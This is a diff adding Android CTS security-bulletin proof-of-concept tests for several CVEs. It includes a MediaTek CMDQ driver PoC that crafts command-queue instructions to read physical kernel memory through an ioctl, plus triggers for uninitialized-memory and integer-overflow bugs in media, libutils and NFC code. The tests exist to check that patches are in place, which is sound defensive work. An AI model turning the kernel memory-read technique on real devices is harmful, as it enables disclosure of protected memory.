+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+  uint32_t count;
+  uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+  uint32_t count;
+  uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+  uint32_t count;
+  uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+  uint32_t count;
+  uint64_t addresses;
+  uint64_t values;
+};
+
+struct cmdqCommandStruct {
+  uint32_t value1;
+  uint32_t value2;
+  uint64_t value3;
+  uint64_t buffer;
+  uint32_t buffer_size;
+  struct cmdqReadRegStruct reg_request;
+  struct cmdqRegValueStruct reg_value;
+  struct cmdqReadAddressStruct read_address;
+  uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+  OperationSuccess,
+  OperationFailed,
+  OperationError,
+} OperationResult;
+
+#define SET_VALUE(x)                           \
+  instructions[command.buffer_size / 8] = (x); \
+  command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+  uint64_t instructions[0x100];
+  struct cmdqCommandStruct command;
+
+  memset(instructions, 0, sizeof(instructions));
+  memset(&command, 0, sizeof(command));
+
+  command.buffer = (uint64_t)&instructions;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+    int ioctl_result =
+        ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+    if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+      *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+      return OperationSuccess;
+    }
+  }
+
+  // Unable to identify the particular IOCTL code for this device.
+  return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+                                uint64_t address, unsigned char *buffer,
+                                size_t size) {
+  OperationResult result = OperationError;
+  uint64_t *instructions = NULL;
+  uint32_t *addresses = NULL;
+  struct cmdqCommandStruct command;
+  size_t num_words = size / 4;
+
+  if (size % 4) {
+    goto exit;
+  }
+
+  // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+  // read, plus another 4 for prologue/epilogue.
+  instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+  if (!instructions) {
+    goto exit;
+  }
+  // Another buffer to tell the driver where to read back from.
+  addresses = malloc(sizeof(uint32_t) * num_words);
+  if (!addresses) {
+    goto exit;
+  }
+  memset(&command, 0, sizeof(command));
+  command.buffer = (uint64_t)instructions;
+  command.read_address.count = size;
+  command.read_address.addresses = (uint64_t)addresses;
+  command.read_address.values = (uint64_t)buffer;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+
+  for (size_t ii = 0; ii < num_words; ii++) {
+    addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+    // CMDQ_CODE_MOVE - put DMA address into register
+    SET_VALUE(0x0297000000000000 | addresses[ii]);
+    // CMDQ_CODE_WRITE - write PA into DMA address
+    SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+    // CMDQ_CODE_READ - read PA into register from DMA address
+    SET_VALUE(0x01d7000000000005);
+    // CMDQ_CODE_READ - read from PA into register
+    SET_VALUE(0x01c5000000000005);
+    // CMDQ_CODE_WRITE - write value into DMA address
+    SET_VALUE(0x04d7000000000005);
+  }
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  switch (ioctl(fd, ioctl_code, &command)) {
+    case -1:
+      if (errno == EFAULT) {
+        // Command buffer rejected, the driver is patched.
+        result = OperationFailed;
+      }
+      // Something is wrong with the command buffer.  This may be a device
+      // type that has not been encountered during testing.
+      break;
+    case 0:
+      // Driver accepted the command buffer and did something with it.
+      result = OperationSuccess;
+      break;
+  }
+
+exit:
+  if (addresses) {
+    free(addresses);
+  }
+  if (instructions) {
+    free(instructions);
+  }
+  return result;
+}
+
+int main() {
+  int exit_code = EXIT_FAILURE;
+  int fd = -1;
+  unsigned char buffer[0x1000];
+  size_t read_size = 0x100;
+  struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+  int ioctl_code = 0;
+  bool command_accepted = false;
+  // Mediatek have given these as possible kernel base addresses for different
+  // devices.
+  unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+  unsigned long pa_length = 0x10000;
+
+  for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+       ii++) {
+    fd = open(device_names[ii], O_RDONLY);
+    if (-1 == fd) {
+      // If we can't access the driver, then it's not vulnerable.
+      if (errno == EACCES) {
+        exit_code = EXIT_SUCCESS;
+        goto exit;
+      }
+    } else {
+      break;
+    }
+  }
+  if (-1 == fd) {
+    goto exit;
+  }
+
+  if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+    goto exit;
+  }
+
+  if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+    goto exit;
+  }
+
+  for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+       ii++) {
+    for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+         pa += 0x1000) {
+      memset(buffer, 0, read_size);
+
+      switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+                              read_size)) {
+        case OperationSuccess:
+          command_accepted = true;
+          for (size_t ii = 0; ii < read_size; ii++) {
+            if (buffer[ii] != 0) {
+              exit_code = EXIT_VULNERABLE;
+              goto exit;
+            }
+          }
+          break;
+        case OperationFailed:
+          exit_code = EXIT_SUCCESS;
+          break;
+        case OperationError:
+          break;
+      }
+    }
+  }
+
+  // If the driver accepted commands, but we didn't manage to read any data,
+  // then we failed to demonstrate a vulnerability.
+  if (command_accepted) {
+    exit_code = EXIT_SUCCESS;
+  }
+
+exit:
+  if (-1 != fd) {
+    if (kernel_buffer.address != 0) {
+      (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+    }
+    (void)close(fd);
+  }
+
+  return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/Android.mk
new file mode 100644
index 0000000..118e60d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0101
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/libmedia/include
+LOCAL_SHARED_LIBRARIES := libbinder
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libmediadrm
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -DCHECK_UNINITIALIZED_MEMORY -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp
new file mode 100644
index 0000000..3f79838
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp
@@ -0,0 +1,106 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/IBinder.h>
+#include <binder/Parcel.h>
+#include <media/ICrypto.h>
+
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+constexpr uint8_t kUint32Len = sizeof(uint32_t);
+constexpr uint8_t kUuidSize = 16;
+constexpr uint8_t kSizeToTrack = 10;
+constexpr uint8_t kCreatePluginEnumValue = 3;
+
+bool is_tracking_required(size_t size) {
+  return (size == kSizeToTrack);
+}
+
+struct MyCryptoHal : public BnCrypto {
+  MyCryptoHal() = default;
+  ~MyCryptoHal() = default;
+
+  status_t initCheck() const {
+    return OK;
+  }
+
+  bool isCryptoSchemeSupported(const uint8_t uuid[16]) {
+    return false;
+  }
+
+  status_t createPlugin(const uint8_t uuid[16], const void *data, size_t size) {
+    if (is_memory_uninitialized()) {
+      return EXIT_VULNERABLE;
+    }
+    return OK;
+  }
+
+  status_t destroyPlugin() {
+    return OK;
+  }
+
+  bool requiresSecureDecoderComponent(const char *mime) const {
+    return false;
+  }
+
+  void notifyResolution(uint32_t width, uint32_t height) {
+  }
+
+  status_t setMediaDrmSession(const Vector<uint8_t> &sessionId) {
+    return OK;
+  }
+
+  virtual ssize_t decrypt(const uint8_t key[16], const uint8_t iv[16],
+                          CryptoPlugin::Mode mode,
+                          const CryptoPlugin::Pattern &pattern,
+                          const ICrypto::SourceBuffer &source, size_t offset,
+                          const CryptoPlugin::SubSample *subSamples,
+                          size_t numSubSamples,
+                          const ICrypto::DestinationBuffer &destination,
+                          AString *errorDetailMsg) {
+    return 0;
+  }
+
+  virtual int32_t setHeap(const sp<IMemoryHeap> &heap) {
+    return 0;
+  }
+
+  void unsetHeap(int32_t seqNum) {
+  }
+
+ private:
+  DISALLOW_EVIL_CONSTRUCTORS (MyCryptoHal);
+};
+
+int main() {
+  Parcel data, reply;
+  sp < IBinder > crypto = new MyCryptoHal;
+  uint8_t parcelData[kUuidSize + kUint32Len] = { 0xcc };
+
+  memcpy(parcelData + kUuidSize, &kSizeToTrack, kUint32Len);
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  data.write(parcelData, kUuidSize + kUint32Len);
+
+  enable_selective_overload = ENABLE_MALLOC_CHECK;
+  crypto->transact(kCreatePluginEnumValue, data, &reply);
+  enable_selective_overload = ENABLE_NONE;
+
+  return reply.readInt32();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.mk
new file mode 100644
index 0000000..2da1a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0408
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES:= libutils
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+  android::String16 str{u"hello world"};
+  android::String16 substr{u"hello"};
+  const size_t begin = substr.size();
+  const size_t len = std::numeric_limits<size_t>::max();
+  if (str.remove(len, begin) != android::OK) {
+    return EXIT_FAILURE;
+  }
+  if (strcmp16(str, substr) != 0) {
+    return EXIT_FAILURE;
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
new file mode 100644
index 0000000..44ea5cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0409
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := system/core/libutils/include/
+LOCAL_C_INCLUDES += system/core/base/include/
+LOCAL_SHARED_LIBRARIES := libutils
+LOCAL_SHARED_LIBRARIES += libbase
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
index 5ee3aeb..5a6f6a8 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,16 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+#include "android-base/test_utils.h"
+#include "utils/FileMap.h"
 
-import android.app.Activity;
-import android.os.Bundle;
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
 
-public class AutoClosingActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
+int main() {
+    TemporaryFile tf;
+    android::FileMap fm;
+    fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.mk
new file mode 100644
index 0000000..fa66b41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0421
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libutils
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+  if (!strcmp(format, VULNERABLE_STRING)) {
+    return -1;
+  }
+  return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+  fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+  if (!fptr) {
+    return EXIT_FAILURE;
+  }
+  android::String8 str1{VULNERABLE_STRING};
+  str1.appendFormat(VULNERABLE_STRING);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.mk
new file mode 100644
index 0000000..d373f93
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0450
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := system/nfc/src/nfc/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfa/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc-nci
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..ab877aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+
+bool kIsInitialized = false;
+void* kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,      /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV,    /* write CC and empty NDEF/Terminator TLV
+                                         */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
+                                                              uint8_t* p_data) = nullptr;
+
+static void* (*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void* ptr) = nullptr;
+
+void init(void) {
+  real_rw_i93_send_cmd_write_single_block = (tNFC_STATUS(*)(uint16_t, uint8_t*))dlsym(
+      RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+  if (!real_rw_i93_send_cmd_write_single_block) {
+    return;
+  }
+
+  real_GKI_getbuf = (void* (*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void* GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  void* ptr = nullptr;
+  if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+    ptr = malloc(size);
+    memset(ptr, DEFAULT_VALUE, size);
+    kVulnPtr = ptr;
+    kVulnSize = size;
+  } else {
+    ptr = real_GKI_getbuf(size);
+  }
+  return ptr;
+}
+
+void GKI_freebuf(void* ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  if (ptr == kVulnPtr) {
+    free(ptr);
+  } else {
+    real_GKI_freebuf(ptr);
+  }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t* p_data) {
+  if (!kIsInitialized) {
+    init();
+  }
+  if (p_data == kVulnPtr) {
+    for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+      if (p_data[n] == DEFAULT_VALUE) {
+        kIsVulnerable = true;
+        break;
+      }
+    }
+  }
+  return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+  enable_selective_overload = ENABLE_ALL;
+  tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+  tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR*)GKI_getbuf(sizeof(uint8_t) * 16);
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    return EXIT_FAILURE;
+  }
+
+  (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+  p_i93->state = RW_I93_STATE_FORMAT;
+  p_i93->block_size = 7;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+  return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
